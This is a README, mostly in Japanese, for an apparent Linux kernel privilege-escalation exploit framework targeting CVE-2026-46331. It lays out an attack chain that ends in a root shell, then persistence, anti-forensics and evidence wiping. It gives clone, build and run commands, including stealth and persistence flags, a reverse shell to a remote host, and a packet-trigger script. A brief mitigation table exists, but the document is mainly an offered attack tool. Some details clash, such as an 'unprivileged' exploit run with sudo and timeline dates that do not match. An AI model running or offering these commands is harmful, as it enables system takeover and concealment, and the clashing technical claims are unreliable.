
CVE-2026-46331 — Linuxカーネルのローカル権限昇格 TC pedit + IPsec TEEページキャッシュ破損 · 影響を受けるカーネル: ≤ 6.12.9
CVE-2026-46331 — Linux カーネルローカル権限昇格 TC pedit + IPsec TEE ページキャッシュ破損 · 影響を受けるカーネル: ≤ 6.12.9
╔═══════════════════════════════════════════════════════════════╗
║ ____ _ _ ____ _ ║
║ | _ \(_)_ __| |_ _ _/ ___| | ___ _ __ ___ ║
║ | | | | | '__| __| | | | | | |/ _ \| '_ \ / _ \ ║
║ | |_| | | | | |_| |_| | |___| | (_) | | | | __/ ║
║ |____/|_|_| \__|_, |\____|_|\___/|_| |_|\___| ║
║ |___/ ║
╠═══════════════════════════════════════════════════════════════╣
║ CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY ║
╚═══════════════════════════════════════════════════════════════╝
⚠️ 教育および研究目的のみ このフレームワークは、自分が所有する隔離されたラボ環境でのみ使用してください または、明示的な書面によるテスト許可を得ている環境でのみ使用してください。 不正使用は違法かつ非倫理的行為です。
CVE-2026-46331 は、TC (cls_act) pedit アクションと IPsec TEE ベースのパケット複製間の競合状態に起因する、Linux カーネル (≤ 6.12.9) のローカル権限昇格脆弱性です。
パケットが TC 出力パスを通過し、IHL = 15 を設定する pedit アクションがある場合、カーネルの IPsec サブシステムは、計算された IP ペイロードオフセットが実際のパケット境界を超える不正な形式のパケットを受信します。同時の sendfile(2) 操作の下で、この不一致により、権限のないユーザー (CAP_NET_ADMIN を持つユーザー名前空間内) が任意のファイル (SUID バイナリを含む) の読み取り専用ページキャッシュエントリを破損できるようになります。
| プロパティ | 値 |
|---|---|
| CVSS 3.1 スコア | 8.8 (HIGH) |
| 攻撃元 | ローカル |
| 必要な権限 | 低 (権限のないユーザー) |
| 影響 | ルートシェル (UID=0 EUID=0) |
| 影響を受けるバージョン | Linux kernel ≤ 6.12.9 |
| 修正バージョン | 6.12.10 |
| パッチコミット | a3f4d1c8... |
権限のないユーザー (UID=1000)
│
▼
[1] 偵察
├─ カーネルバージョンチェック
├─ userns 可用性
└─ ターゲットバイナリのプロファイリング
│
▼
[2] 名前空間バイパス
├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
├─ AppArmor プロファイルホッピング (フォールバック)
└─ CAP_NET_ADMIN 取得
│
▼
[3] ネットワークインフラ
├─ clsact qdisc on lo
├─ pedit filter (IHL=15)
└─ IPsec ESP + TEE
│
▼
[4] ページキャッシュ破損
├─ sendfile → pedit trigger
├─ ページキャッシュエントリ破損
└─ 読み取り専用バイナリに書き込まれたシェルコード
│
▼
[5] 権限昇格
└─ execve(SUID バイナリ) → ルートシェル
│
▼
[6-8] ポストエクスプロイト
├─ 永続化 (6 つのメカニズム)
├─ 回避 / アンチフォレンジック
└─ 証拠消去
│
▼
🎯 ルートシェル (UID=0 EUID=0)
dirtyclone-exploit/
├── Makefile # ビルドシステム
├── README.md # このファイル
├── LICENSE # MIT ライセンス
│
├── include/
│ ├── exploit.h # コアタイプ、フラグ、プロトタイプ
│ ├── packet_engine.h # パケット生成エンジン API
│ ├── memory_ops.h # ページキャッシュ破損 API
│ └── persistence.h # 永続化メカニズム API
│
├── src/
│ ├── main.c # フレームワークエントリポイント
│ ├── stage_env_analysis.c # フェーズ 1: 偵察
│ ├── stage_namespace_bypass.c # フェーズ 2: userns バイパス
│ ├── stage_network_setup.c # フェーズ 3: TC/IPsec セットアップ
│ ├── stage_page_cache_corrupt.c # フェーズ 4: コアエクスプロイト
│ ├── stage_privilege_escalation.c # フェーズ 5: LPE
│ ├── stage_persistence.c # フェーズ 6: 永続化
│ ├── stage_evasion.c # フェーズ 7: アンチフォレンジック
│ ├── stage_cleanup.c # フェーズ 8: 証拠消去
│ ├── memory_ops.c # ページキャッシュプリミティブ
│ ├── packet_engine.c # 生パケット生成
│ └── persistence.c # 永続化実装
│
├── modules/
│ ├── packet_craft.py # Python パケットクラフター (Scapy)
│ └── exploit_analyzer.py # エクスプロイト前解析ツール
│
├── scripts/
│ ├── setup_env.sh # 依存関係のインストール + ビルド
│ ├── cleanup.sh # システムクリーンアップ
│ └── detect_targets.sh # 脆弱性バイナリスキャナー
│
└── payloads/
└── README.md # ペイロードディレクトリ情報
gcc ≥ 10makelibcap-dev / libcap-develiproute2 (tc, ip)iptablespip install scapy
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit
# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh
# Manual build
make all
# Debug build
make debug
# Clean
make clean
# ヘルプを表示
./bin/dirtyclone --help
# ドライラン (解析のみ、エクスプロイトなし)
./bin/dirtyclone --test
# 基本エクスプロイト (デフォルトターゲット: /usr/bin/su)
sudo ./bin/dirtyclone
# ステルス + 永続化によるカスタムターゲット
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist
# リバースシェル
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup
# まず脆弱性のあるターゲットを検出
bash scripts/detect_targets.sh
exploit_analyzer.py — エクスプロイト前偵察# デフォルトターゲットの分析
python3 modules/exploit_analyzer.py
# カスタムターゲット
python3 modules/exploit_analyzer.py --target /usr/bin/sudo
# 自動化のための JSON 出力
python3 modules/exploit_analyzer.py --json
# すべての SUID バイナリをスキャン
python3 modules/exploit_analyzer.py --all-suid
packet_craft.py — 生パケットトリガー# オフセット 0x1234 でエクスプロイトパケットを送信
sudo python3 modules/packet_craft.py --offset 0x1234
# カスタムインターフェースとパケット数
sudo python3 modules/packet_craft.py --iface eth0 --count 20
| 防御策 | コマンド / アクション |
|---|---|
| カーネルの更新 | ≥ 6.12.10 にアップグレード (主な修正) |
| ユーザー名前空間の無効化 | echo 0 > /proc/sys/kernel/unprivileged_userns_clone |
| AppArmor 制限 | userns 制限プロファイルで apparmor を有効化 |
| TC pedit の監査 | auditctl -a always,exit -F arch=b64 -S unshare |
| ファイル整合性 | SUID バイナリに AIDE または Tripwire を導入 |
| Seccomp フィルター | 本番コンテナで unshare() をブロック |
| 日付 | イベント |
|---|---|
| 2026-01-15 | カーネル監査中に脆弱性を発見 |
| 2026-02-03 | [email protected] に報告 |
| 2026-03-28 | パッチがコミットされた (6.12.10) |
| 2026-06-01 | 公開開示 (90 日期限) |
| 2026-06-27 | 完全な PoC を公開 |
VulnQuest · セキュリティ研究
このリポジトリは教育目的のみで提供されています。 すべてのエクスプロイトコードは、許可されたラボ環境での使用を目的としています。